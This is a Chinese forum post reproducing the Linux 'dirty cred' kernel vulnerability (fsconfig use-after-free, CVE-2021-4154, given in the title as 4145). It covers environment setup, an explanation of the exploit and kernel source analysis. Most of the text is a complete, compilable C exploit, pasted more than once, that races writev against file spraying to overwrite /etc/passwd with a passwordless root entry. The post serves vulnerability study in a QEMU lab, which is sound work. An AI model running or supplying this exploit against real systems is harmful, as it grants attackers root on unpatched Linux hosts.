首页
社区
课程
招聘
CVE-2021-4145 dirty cred漏洞复现
发表于: 2024-3-13 23:45 12644

CVE-2021-4145 dirty cred漏洞复现

2024-3-13 23:45
12644

复现一下 dirty cred 漏洞

<!--more-->

同样本篇文章采用的还是 环境配置——漏洞验证——源码分析——代码调试 这四部分。

选用一个漏洞存在的版本,例如 5.13.2

下面就是编译内核会踩得一些坑,我将完整复述一遍:

源码下载好之后,先 make menuconfig 开启调试符号,kernel hacking->kernel debugging 勾选,kernel hacking->Compile-time checks and compiler options->Compile the kernel with debug info 勾选。

保存退出之后还需要加上两个选项。

vim .config,打开之后找到两个选项,一个是 CONFIG_FUSE_FS 另一个是 CONFIG_USER_NS,这两个选项都需要启动,默认生成的 config 应该是没有启用这两个选项的。

配置完成之后就可以开始编译了。

编译完成之后,在本目录下得到带完整符号的 vmlinux,在 arch/x86/boot/ 得到启动内核 bzImage

依然是采用 busybox,方法和之前是一致的,看我最开始的环境搭建即可,这里可以提前把 EXP 编译进去然后打包文件系统。

就是传说中的 start.sh

这里给大家参考一下我的 qemu 启动参数。

最后一行用于调试,大家不需要调试可以先注释掉,其它参数解释如下:

现在在目录下应该有了 start.shbzImagerootfs.img,文件系统可以提前打包 exp 进去。

用网上通用的一个 EXP。

编译命令为 gcc -g exp.c -o exp -static -lpthread

这里我很简单地将 /etc/passwd 的第一项写成 root::0:0:root:/root:/bin/sh\n\n,去掉其中的 x 让它没有密码。

可以发现漏洞是存在的。

通过阅读 论文原文 能大概知道 EXP 的利用思路。

步骤是先打开一个具有写权限的本地文件,对其写入内容,在写文件的时候,内核会检查你的权限,随后再去写,在检查完权限,写之前可以 free 掉这个文件再立马打开特权文件(/etc/passwd),这样就可以达到绕过权限去写特权文件的操作了。

配合 EXP 来看看

main 函数开始,先调用 3 次 mmap 去分配内存,随后新建了一个 exp_dir 文件夹,并创建了 data 在该文件夹中。

setup_common 函数挂载了一个 FUSE 文件系统,但是测试下来挂载不成功也不影响 EXP 的使用,随后 mprotect 改变内存属性(这里不是很清楚为什么把栈的属性清零)。随后循环

在循环中调用 clone 去启动一个新的进程,一般来说,clone 理解为 fork 没有问题。随后子进程执行 namespace_sandbox_proc,主进程等待子进程返回,那么来分析分析这个函数。

先设置父进程死亡的信号为 SIGKILL,然后调用 setsid() 去脱离当前终端。随后做了一系列的限制,分别为

然后挂载创建一个新的命名空间,将当前命名空间的根文件系统挂载点设置为私有,再创建其它的一系列的命名空间。

随后写这些内核参数文件,这样就创建了一个合适的环境。

fsopen 打开一个文件系统 cgroup,将 ./uaf 链接到 ./data 上,又使用 fsconfig 进行了一些配置,在这个地方已经产生了 UAF 漏洞。

然后开启了两个线程分别启动 slow_writewrite_cmd,主线程调用 spray_files。分别对应论文第一张图的线程 1,2,3。

那么可以发现,主要就是由这三个线程去操作了,之前一系列是为了进行一个环境配置在造成 UAF,因为并没有权限直接更改内核的某些参数,所以直接创建新的命名空间去操作的。

打开文件去占据内核锁,去打开 ./uaf,至于为什么打开 uaf,稍后分析内核源码可以获得具体原因。

这里面还分配了大量内存页,并尝试将所有页面写入文件,这一步通过文献的查阅可以得知是为了减缓写文件的速度,把写文件的时间线拉长就可以提高漏洞利用的成功率。

中间在开始写之前会设置一个全局变量去启动下一个线程。

这一步就是等到第一个线程调用 writev 的时候启动第三个线程,然后再去写指定的数据。

连续地打开 /etc/passwd 文件,判断文件描述符和 uaf_fd 是否为同一文件,如果是那么设置 found=1

在这个地方触发了漏洞导致了 uaf 文件描述符写入了 /etc/passwd 文件。

选用对应源码版本:https://elixir.bootlin.com/linux/v5.13.3/source

在利用中线程 1 (局部变量 fd)和线程 2 (全局变量 uaf_fd)都打开了一个文件(./uaf),如果 uaf 是普通文件,那么 FMODE_ATOMIC_POS 这个标志位必定存在,但是如果是链接文件,则这里不会被设置这个标记,可以避免被卡在这个函数。

具体的代码可以查看 open 函数的调用,相关解释已加注释。

主要要分析的是 sys_writev

深入这个函数来看看

看起来其实非常简单,也就是先根据文件描述符去获取 fd 结构,fd 结构里面维护了当前打开的文件的写指针和读指针,第一步先获取,然后调用 vfs_writev 去写该文件,随后释放文件结构,如果返回值 >0,则增加当前文件写入字符数(add_wchar),增加当前系统调用次数(inc_syscw

同样从头到尾来看看函数定义,首先是这个获取文件结构的 fdget_pos

然后再深入看看 __to_fd__fget_pos 函数。

无疑 __to_fd 函数将获得的文件结构 struct file 转为 struct fd

__fdget_pos 就应当是根据文件描述符来获取文件结构 struct file

深入下去 __fdget 可以发现里面调用了 __fget_light,第二个参数被固定为 FMODE_PATH,对于这个函数定义:

这里也解释了这个宏的定义,表示文件几乎不能做任何操作比如说 READ,WRITE,而这里的 mask 在后面分析是禁止的一些操作,比如文件具有 READ 权限但是 mask 被设置为 FMODE_READ,那么在后续的调用中会返回 NULL

先获取当前进程的文件描述符表(current->files),然后判断文件描述符表的引用计数是否为 1 (描述符表是否共享),如果是则调用 files_lookup_fd_raw 去获取文件结构指针,然后判断文件操作模式的正确性,随后返回。

根据注释也可以认为,需要保证文件描述符表没有被共享过,或者是持有文件锁。会返回一个 fd 表中的 struct file 结构(fdt->fd[fd])。

如果引用计数不为 1,则调用 __fget 去获取指针,其中主要是调用了 __fget_files 函数。

这里的 files_lookup_fd_rcu 直接可以认为是获取文件结构体的,随后判断里面是否包含禁止的模式,然后增加文件计数引用 (get_file_rcu_many)。

回过头来看看 __fdget_pos 函数

获取到的文件指针将最低两位置为 0(对齐),如果被设置了 FMODE_ATOMIC_POS 且 文件引用大于 1,那么上锁,到这里,才分析完 do_writev 的第一句话,来看看接下来的语句,重点是 vfs_writev 函数。

首先根据 writev 的结构体解出数据和长度,然后调用 do_iter_write 去写文件,而在 do_iter_write 中可以发现,这里作权限校验了,校验了是否可写以及文件描述符是否可写,这里的两层意思分别是文件本身是否具有可写权限以及你打开的文件描述符是否包含了 O_WRITE 权限位。

随后进行写,写的过程会根据文件系统调用对应的写函数(write_iter

下面是完整的调用链,感兴趣可以跟一下。

do_writev->vfs_writev->do_iter_write->do_iter_readv_writev->call_write_iter->.write_iter -> ext4_file_write_iter -> ext4_buffered_write_iter

在这个函数里面可以看到我注释的两个位置分别对文件节点进行了上锁和解锁。

此时两个线程会卡在这个锁里,翻一翻时间节点,此时权限校验已经完了,第一个线程写入大量数据将第二个线程获取锁的时间,趁此机会第三个线程将 /etc/passwd 打开并将文件页面以这个 uaf 的页面使用,第二个线程获取锁之后直接将数据写入 /etc/passwd

所以要彻底明白这个漏洞,还需要理解前面 UAF 的成因。

这个系统调用太大了,只介绍它原有的含义和触发漏洞的位置。

这个系统调用允许挂载自己的文件系统而不用修改内核,它在调用的过程中存在类型混淆漏洞。

在选项 5 有个可以释放文件的操作 FSCONFIG_SET_FD,在解释参数的时候,会调用到下面的函数

通过 PATCH 文件可以看出来(实则因为菜实在分析不来)

如果 keysource,那么 param->type 必须被指定为 string 类型而不能是文件描述符,此时因为外面的 cmd=FSCONFIG_SET_FD,因此获取了文件结构在联合体当中。

在判断中可以看到这样一句:

此时将 string 保存在 fc->source 当中,因为它们共用内存,所以这里的 string 实际上是 struct file 结构体指针。

最后要 free 掉这个 fs_context 结构时,就意外地造成了这里的文件结构的 uaf,最后这个系统调用完成会触发 fscontext_release

第一步打断点 __do_sys_fsconfig,然后跟到图示这个位置,可以发现获取到了文件结构了。

随后跟到这个位置

这里会有调用刚刚的 cgroup1_parse_param,当然也可以直接下断点 continue 过去。

当然这里可以看到 source 直接被取走了,保存到了 fc 结构当中。

随后下断在 fscontext_release,然后 continue 过去,走到 kfree 这和位置可以发现 source 被释放。

这里也能看到作者原意是想在这里释放 source 字符串,但是这里释放了 file 文件结构指针,调试的时候可以和之前对一下,发现地址是一致的,因此这里造成了 uaf。

这里采用 writev 写入大量数据使得文件拿锁的时间加长。为了调试 exp,可以用 add-symbol-file 命令去添加符号,这里可以选择断 write_cmdwritev 函数,因为这里会因为写入数据量过大而长期持有锁,writev 就会尝试持续获得锁。

随后经过系统调用来到 do_writev 函数

不过这里多线程比较难调,也不放调试具体过程了,感觉原理还是比较浅显易懂的。

我们可以总结出以下的利用思路:

分析的还有很多不足之处,如果有讲的不好的地方恳请师傅多多包涵并帮助指正。

qemu-system-x86_64 \
    -m 256M \
    -smp 2,cores=2,threads=1\
    -kernel ./bzImage \
    -initrd  ./rootfs.img \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"\
    -cpu qemu64 \
    -netdev user,id=t0, \
    -device e1000,netdev=t0,id=nic0 \
    -nographic \
    #-s -S\
qemu-system-x86_64 \
    -m 256M \
    -smp 2,cores=2,threads=1\
    -kernel ./bzImage \
    -initrd  ./rootfs.img \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"\
    -cpu qemu64 \
    -netdev user,id=t0, \
    -device e1000,netdev=t0,id=nic0 \
    -nographic \
    #-s -S\
#define _GNU_SOURCE
 
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
 
#include <assert.h>
#include <pthread.h>
#include <sys/uio.h>
 
#include <linux/bpf.h>
#include <linux/kcmp.h>
 
#include <linux/capability.h>
 
static void die(const char *fmt, ...) {
    va_list params;
 
    va_start(params, fmt);
    vfprintf(stderr, fmt, params);
    va_end(params);
    exit(1);
}
 
static void use_temporary_dir(void) {
    system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data");
    char *tmpdir = "exp_dir";
    if (!tmpdir)
        exit(1);
    if (chmod(tmpdir, 0777))
        exit(1);
    if (chdir(tmpdir))
        exit(1);
}
 
static bool write_file(const char *file, const char *what, ...) {
    char buf[1024];
    va_list args;
    va_start(args, what);
    vsnprintf(buf, sizeof(buf), what, args);
    va_end(args);
    buf[sizeof(buf) - 1] = 0;
    int len = strlen(buf);
    int fd = open(file, O_WRONLY | O_CLOEXEC);
    if (fd == -1)
        return false;
    if (write(fd, buf, len) != len) {
        int err = errno;
        close(fd);
        errno = err;
        return false;
    }
    close(fd);
    return true;
}
 
static void setup_common() {
    if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
         
    }
}
 
static void loop();
 
static void sandbox_common() {
    prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
    setsid();
    struct rlimit rlim;
    rlim.rlim_cur = rlim.rlim_max = (200 << 20);
    setrlimit(RLIMIT_AS, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 32 << 20;
    setrlimit(RLIMIT_MEMLOCK, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 136 << 20;
    setrlimit(RLIMIT_FSIZE, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 1 << 20;
    setrlimit(RLIMIT_STACK, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 0;
    setrlimit(RLIMIT_CORE, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 256;
    setrlimit(RLIMIT_NOFILE, &rlim);
    if (unshare(CLONE_NEWNS)) {
    }
    if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
    }
    if (unshare(CLONE_NEWIPC)) {
    }
    if (unshare(0x02000000)) {
    }
    if (unshare(CLONE_NEWUTS)) {
    }
    if (unshare(CLONE_SYSVSEM)) {
    }
    typedef struct {
        const char *name;
        const char *value;
    } sysctl_t;
    static const sysctl_t sysctls[] = {
        {"/proc/sys/kernel/shmmax", "16777216"},
        {"/proc/sys/kernel/shmall", "536870912"},
        {"/proc/sys/kernel/shmmni", "1024"},
        {"/proc/sys/kernel/msgmax", "8192"},
        {"/proc/sys/kernel/msgmni", "1024"},
        {"/proc/sys/kernel/msgmnb", "1024"},
        {"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
    };
    unsigned i;
    for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
        write_file(sysctls[i].name, sysctls[i].value);
}
 
static int wait_for_loop(int pid) {
    if (pid < 0)
        exit(1);
    int status = 0;
    while (waitpid(-1, &status, __WALL) != pid) {
    }
    return WEXITSTATUS(status);
}
 
static void drop_caps(void) {
    struct __user_cap_header_struct cap_hdr = {};
    struct __user_cap_data_struct cap_data[2] = {};
    cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
    cap_hdr.pid = getpid();
    if (syscall(SYS_capget, &cap_hdr, &cap_data))
        exit(1);
    const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
    cap_data[0].effective &= ~drop;
    cap_data[0].permitted &= ~drop;
    cap_data[0].inheritable &= ~drop;
    if (syscall(SYS_capset, &cap_hdr, &cap_data))
        exit(1);
}
 
static int real_uid;
static int real_gid;
__attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20];
 
static int namespace_sandbox_proc() {
    sandbox_common();
    loop();
}
 
static int do_sandbox_namespace() {
    setup_common();
    real_uid = getuid();
    real_gid = getgid();
    mprotect(sandbox_stack, 4096, PROT_NONE);
    while (1) {
        int pid =
            clone(namespace_sandbox_proc, &sandbox_stack[sizeof(sandbox_stack) - 64],
                  CLONE_NEWUSER | CLONE_NEWPID, 0);
        if (pid == -1) {
            perror("clone");
            printf("errno: %d\n", errno);
        }
        int ret_status = wait_for_loop(pid);
        if (ret_status == 0) {
            printf("[!] succeed\n");
            sleep(1);
            printf("[*] checking /etc/passwd\n\n");
            printf("[*] executing command : head -n 5 /etc/passwd\n");
            sleep(1);
            system("head -n 5 /etc/passwd");
            return 1;
        } else {
            printf("[-] failed to write, retry...\n\n");
            sleep(3);
        }
    }
}
 
// ===========================
 
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
 
#define MAX_FILE_NUM 1000
int uaf_fd;
int fds[MAX_FILE_NUM];
 
int run_write = 0;
int run_spray = 0;
char *cwd;
 
void *slow_write() {
    printf("[*] start slow write to get the lock\n");
    int fd = open("./uaf", 1);
 
    if (fd < 0) {
        perror("error open uaf file");
        exit(-1);
    }
 
    unsigned long int addr = 0x30000000;
    int offset;
    for (offset = 0; offset < 0x80000; offset++) {
        void *r = mmap((void *)(addr + offset * 0x1000), 0x1000,
                       PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
        if (r < 0) {
            printf("allocate failed at 0x%x\n", offset);
        }
    }
 
    assert(offset > 0);
 
    void *mem = (void *)(addr);
    memcpy(mem, "hhhhh", 5);
 
    struct iovec iov[5];
    for (int i = 0; i < 5; i++) {
        iov[i].iov_base = mem;
        iov[i].iov_len = (offset - 1) * 0x1000;
    }
 
    run_write = 1;
    if (writev(fd, iov, 5) < 0) {
        perror("slow write");
    }
    printf("[*] write done!\n");
}
 
void *write_cmd() {
    char data[1024] = "root::0:0:root:/root:/bin/sh\n\n";
    struct iovec iov = {.iov_base = data, .iov_len = strlen(data)};
 
    while (!run_write) {
    }
    run_spray = 1;
    if (writev(uaf_fd, &iov, 1) < 0) {
        printf("failed to write\n");
    }
    printf("[*] overwrite done! It should be after the slow write\n");
}
 
int spray_files() {
 
    while (!run_spray) {
    }
    int found = 0;
 
    printf("[*] got uaf fd %d, start spray....\n", uaf_fd);
    for (int i = 0; i < MAX_FILE_NUM; i++) {
        fds[i] = open("/etc/passwd", O_RDONLY);
        if (fds[i] < 0) {
            perror("open file");
            printf("%d\n", i);
        }
        if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) ==
            0) {
            found = 1;
            printf("[!] found, file id %d\n", i);
            for (int j = 0; j < i; j++)
                close(fds[j]);
            break;
        }
    }
 
    if (found) {
        sleep(4);
        return 0;
    }
    return -1;
}
 
void trigger() {
    int fs_fd = syscall(__NR_fsopen, "cgroup", 0);
    if (fs_fd < 0) {
        perror("fsopen");
        die("");
    }
 
    symlink("./data", "./uaf");
 
    uaf_fd = open("./uaf", 1);
    if (uaf_fd < 0) {
        die("failed to open symbolic file\n");
    }
 
    if (syscall(__NR_fsconfig, fs_fd, 5, "source", 0, uaf_fd)) {
        perror("fsconfig");
        exit(-1);
    }
    // free the uaf fd
    close(fs_fd);
}
 
void loop() {
    trigger();
 
    pthread_t p_id;
    pthread_create(&p_id, NULL, slow_write, NULL);
 
    pthread_t p_id_cmd;
    pthread_create(&p_id_cmd, NULL, write_cmd, NULL);
    exit(spray_files());
}
 
int main(void) {
    cwd = get_current_dir_name();
    syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
    syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
    syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
    use_temporary_dir();
    do_sandbox_namespace();
    return 0;
}
#define _GNU_SOURCE
 
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
 
#include <assert.h>
#include <pthread.h>
#include <sys/uio.h>
 
#include <linux/bpf.h>
#include <linux/kcmp.h>
 
#include <linux/capability.h>
 
static void die(const char *fmt, ...) {
    va_list params;
 
    va_start(params, fmt);
    vfprintf(stderr, fmt, params);
    va_end(params);
    exit(1);
}
 
static void use_temporary_dir(void) {
    system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data");
    char *tmpdir = "exp_dir";
    if (!tmpdir)
        exit(1);
    if (chmod(tmpdir, 0777))
        exit(1);
    if (chdir(tmpdir))
        exit(1);
}
 
static bool write_file(const char *file, const char *what, ...) {
    char buf[1024];
    va_list args;
    va_start(args, what);
    vsnprintf(buf, sizeof(buf), what, args);
    va_end(args);
    buf[sizeof(buf) - 1] = 0;
    int len = strlen(buf);
    int fd = open(file, O_WRONLY | O_CLOEXEC);
    if (fd == -1)
        return false;
    if (write(fd, buf, len) != len) {
        int err = errno;
        close(fd);
        errno = err;
        return false;
    }
    close(fd);
    return true;
}
 
static void setup_common() {
    if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
         
    }
}
 
static void loop();
 
static void sandbox_common() {
    prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
    setsid();
    struct rlimit rlim;
    rlim.rlim_cur = rlim.rlim_max = (200 << 20);
    setrlimit(RLIMIT_AS, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 32 << 20;
    setrlimit(RLIMIT_MEMLOCK, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 136 << 20;
    setrlimit(RLIMIT_FSIZE, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 1 << 20;
    setrlimit(RLIMIT_STACK, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 0;
    setrlimit(RLIMIT_CORE, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 256;
    setrlimit(RLIMIT_NOFILE, &rlim);
    if (unshare(CLONE_NEWNS)) {
    }
    if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
    }
    if (unshare(CLONE_NEWIPC)) {
    }
    if (unshare(0x02000000)) {
    }
    if (unshare(CLONE_NEWUTS)) {
    }
    if (unshare(CLONE_SYSVSEM)) {
    }
    typedef struct {
        const char *name;
        const char *value;
    } sysctl_t;
    static const sysctl_t sysctls[] = {
        {"/proc/sys/kernel/shmmax", "16777216"},
        {"/proc/sys/kernel/shmall", "536870912"},
        {"/proc/sys/kernel/shmmni", "1024"},
        {"/proc/sys/kernel/msgmax", "8192"},
        {"/proc/sys/kernel/msgmni", "1024"},
        {"/proc/sys/kernel/msgmnb", "1024"},
        {"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
    };
    unsigned i;
    for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
        write_file(sysctls[i].name, sysctls[i].value);
}
 
static int wait_for_loop(int pid) {
    if (pid < 0)
        exit(1);
    int status = 0;
    while (waitpid(-1, &status, __WALL) != pid) {
    }
    return WEXITSTATUS(status);
}
 
static void drop_caps(void) {
    struct __user_cap_header_struct cap_hdr = {};
    struct __user_cap_data_struct cap_data[2] = {};
    cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
    cap_hdr.pid = getpid();
    if (syscall(SYS_capget, &cap_hdr, &cap_data))
        exit(1);
    const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
    cap_data[0].effective &= ~drop;
    cap_data[0].permitted &= ~drop;
    cap_data[0].inheritable &= ~drop;
    if (syscall(SYS_capset, &cap_hdr, &cap_data))
        exit(1);
}
 
static int real_uid;
static int real_gid;
__attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20];
 
static int namespace_sandbox_proc() {
    sandbox_common();
    loop();
}
 
static int do_sandbox_namespace() {
    setup_common();
    real_uid = getuid();
    real_gid = getgid();
    mprotect(sandbox_stack, 4096, PROT_NONE);
    while (1) {
        int pid =
            clone(namespace_sandbox_proc, &sandbox_stack[sizeof(sandbox_stack) - 64],
                  CLONE_NEWUSER | CLONE_NEWPID, 0);
        if (pid == -1) {
            perror("clone");
            printf("errno: %d\n", errno);
        }
        int ret_status = wait_for_loop(pid);
        if (ret_status == 0) {
            printf("[!] succeed\n");
            sleep(1);
            printf("[*] checking /etc/passwd\n\n");
            printf("[*] executing command : head -n 5 /etc/passwd\n");
            sleep(1);
            system("head -n 5 /etc/passwd");
            return 1;
        } else {
            printf("[-] failed to write, retry...\n\n");
            sleep(3);
        }
    }
}
 
// ===========================
 
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
 
#define MAX_FILE_NUM 1000
int uaf_fd;
int fds[MAX_FILE_NUM];
 
int run_write = 0;
int run_spray = 0;
char *cwd;
 
void *slow_write() {
    printf("[*] start slow write to get the lock\n");
    int fd = open("./uaf", 1);
 
    if (fd < 0) {
        perror("error open uaf file");
        exit(-1);
    }
 
    unsigned long int addr = 0x30000000;
    int offset;
    for (offset = 0; offset < 0x80000; offset++) {
        void *r = mmap((void *)(addr + offset * 0x1000), 0x1000,
                       PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
        if (r < 0) {
            printf("allocate failed at 0x%x\n", offset);
        }
    }
 
    assert(offset > 0);
 
    void *mem = (void *)(addr);
    memcpy(mem, "hhhhh", 5);
 
    struct iovec iov[5];
    for (int i = 0; i < 5; i++) {
        iov[i].iov_base = mem;
        iov[i].iov_len = (offset - 1) * 0x1000;
    }
 
    run_write = 1;
    if (writev(fd, iov, 5) < 0) {
        perror("slow write");
    }
    printf("[*] write done!\n");
}
 
void *write_cmd() {
    char data[1024] = "root::0:0:root:/root:/bin/sh\n\n";
    struct iovec iov = {.iov_base = data, .iov_len = strlen(data)};
 
    while (!run_write) {
    }
    run_spray = 1;
    if (writev(uaf_fd, &iov, 1) < 0) {
        printf("failed to write\n");
    }
    printf("[*] overwrite done! It should be after the slow write\n");
}
 
int spray_files() {
 
    while (!run_spray) {
    }
    int found = 0;
 
    printf("[*] got uaf fd %d, start spray....\n", uaf_fd);
    for (int i = 0; i < MAX_FILE_NUM; i++) {
        fds[i] = open("/etc/passwd", O_RDONLY);
        if (fds[i] < 0) {
            perror("open file");
            printf("%d\n", i);
        }
        if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) ==
            0) {
            found = 1;
            printf("[!] found, file id %d\n", i);
            for (int j = 0; j < i; j++)
                close(fds[j]);
            break;
        }
    }
 
    if (found) {
        sleep(4);
        return 0;
    }
    return -1;
}
 
void trigger() {
    int fs_fd = syscall(__NR_fsopen, "cgroup", 0);
    if (fs_fd < 0) {
        perror("fsopen");
        die("");
    }
 
    symlink("./data", "./uaf");
 
    uaf_fd = open("./uaf", 1);
    if (uaf_fd < 0) {
        die("failed to open symbolic file\n");
    }
 
    if (syscall(__NR_fsconfig, fs_fd, 5, "source", 0, uaf_fd)) {
        perror("fsconfig");
        exit(-1);
    }
    // free the uaf fd
    close(fs_fd);
}
 
void loop() {
    trigger();
 
    pthread_t p_id;
    pthread_create(&p_id, NULL, slow_write, NULL);
 
    pthread_t p_id_cmd;
    pthread_create(&p_id_cmd, NULL, write_cmd, NULL);
    exit(spray_files());
}
 
int main(void) {
    cwd = get_current_dir_name();
    syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
    syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
    syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
    use_temporary_dir();
    do_sandbox_namespace();
    return 0;
}
void *slow_write() {
    printf("[*] start slow write to get the lock\n");
    int fd = open("./uaf", 1);
 
    if (fd < 0) {
        perror("error open uaf file");
        exit(-1);
    }
 
    unsigned long int addr = 0x30000000;
    int offset;
    for (offset = 0; offset < 0x80000; offset++) {
        void *r = mmap((void *)(addr + offset * 0x1000), 0x1000,
                       PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
        if (r < 0) {
            printf("allocate failed at 0x%x\n", offset);
        }
    }
 
    assert(offset > 0);
 
    void *mem = (void *)(addr);
    memcpy(mem, "hhhhh", 5);
 
    struct iovec iov[5];
    for (int i = 0; i < 5; i++) {
        iov[i].iov_base = mem;
        iov[i].iov_len = (offset - 1) * 0x1000;
    }
 
    run_write = 1;
    if (writev(fd, iov, 5) < 0) {
        perror("slow write");
    }
    printf("[*] write done!\n");
}
void *slow_write() {
    printf("[*] start slow write to get the lock\n");
    int fd = open("./uaf", 1);
 
    if (fd < 0) {
        perror("error open uaf file");
        exit(-1);
    }
 
    unsigned long int addr = 0x30000000;
    int offset;
    for (offset = 0; offset < 0x80000; offset++) {
        void *r = mmap((void *)(addr + offset * 0x1000), 0x1000,
                       PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
        if (r < 0) {
            printf("allocate failed at 0x%x\n", offset);
        }
    }
 
    assert(offset > 0);
 
    void *mem = (void *)(addr);
    memcpy(mem, "hhhhh", 5);
 
    struct iovec iov[5];
    for (int i = 0; i < 5; i++) {
        iov[i].iov_base = mem;
        iov[i].iov_len = (offset - 1) * 0x1000;
    }
 
    run_write = 1;
    if (writev(fd, iov, 5) < 0) {
        perror("slow write");
    }
    printf("[*] write done!\n");
}
void *write_cmd() {
    char data[1024] = "root::0:0:root:/root:/bin/sh\n\n";
    struct iovec iov = {.iov_base = data, .iov_len = strlen(data)};
 
    while (!run_write) {
    }
    run_spray = 1;
    if (writev(uaf_fd, &iov, 1) < 0) {
        printf("failed to write\n");
    }
    printf("[*] overwrite done! It should be after the slow write\n");
}
void *write_cmd() {
    char data[1024] = "root::0:0:root:/root:/bin/sh\n\n";
    struct iovec iov = {.iov_base = data, .iov_len = strlen(data)};
 
    while (!run_write) {
    }
    run_spray = 1;
    if (writev(uaf_fd, &iov, 1) < 0) {
        printf("failed to write\n");
    }
    printf("[*] overwrite done! It should be after the slow write\n");
}
int spray_files() {
 
    while (!run_spray) {
    }
    int found = 0;
 
    printf("[*] got uaf fd %d, start spray....\n", uaf_fd);
    for (int i = 0; i < MAX_FILE_NUM; i++) {
        fds[i] = open("/etc/passwd", O_RDONLY);
        if (fds[i] < 0) {
            perror("open file");
            printf("%d\n", i);
        }
        if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) ==
            0) {
            found = 1;
            printf("[!] found, file id %d\n", i);
            for (int j = 0; j < i; j++)
                close(fds[j]);
            break;
        }
    }
 
    if (found) {
        sleep(4);
        return 0;
    }
    return -1;
}
int spray_files() {
 
    while (!run_spray) {
    }
    int found = 0;
 
    printf("[*] got uaf fd %d, start spray....\n", uaf_fd);
    for (int i = 0; i < MAX_FILE_NUM; i++) {
        fds[i] = open("/etc/passwd", O_RDONLY);
        if (fds[i] < 0) {
            perror("open file");
            printf("%d\n", i);
        }
        if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) ==
            0) {
            found = 1;
            printf("[!] found, file id %d\n", i);
            for (int j = 0; j < i; j++)
                close(fds[j]);
            break;
        }
    }
 
    if (found) {
        sleep(4);
        return 0;
    }
    return -1;
}
static int do_dentry_open(struct file *f,
                          struct inode *inode,
                          int (*open)(struct inode *, struct file *))
{
    static const struct file_operations empty_fops = {};
    int error;
 
    path_get(&f->f_path);
    f->f_inode = inode;
    f->f_mapping = inode->i_mapping;
    f->f_wb_err = filemap_sample_wb_err(f->f_mapping);
    f->f_sb_err = file_sample_sb_err(f);
 
    if (unlikely(f->f_flags & O_PATH)) {
        f->f_mode = FMODE_PATH | FMODE_OPENED;
        f->f_op = &empty_fops;
        return 0;
    }
 
    if (f->f_mode & FMODE_WRITE && !special_file(inode->i_mode)) {
        error = get_write_access(inode);
        if (unlikely(error))
            goto cleanup_file;
        error = __mnt_want_write(f->f_path.mnt);
        if (unlikely(error)) {
            put_write_access(inode);
            goto cleanup_file;
        }
        f->f_mode |= FMODE_WRITER;
    }
 
    /* POSIX.1-2008/SUSv4 Section XSI 2.9.7 */
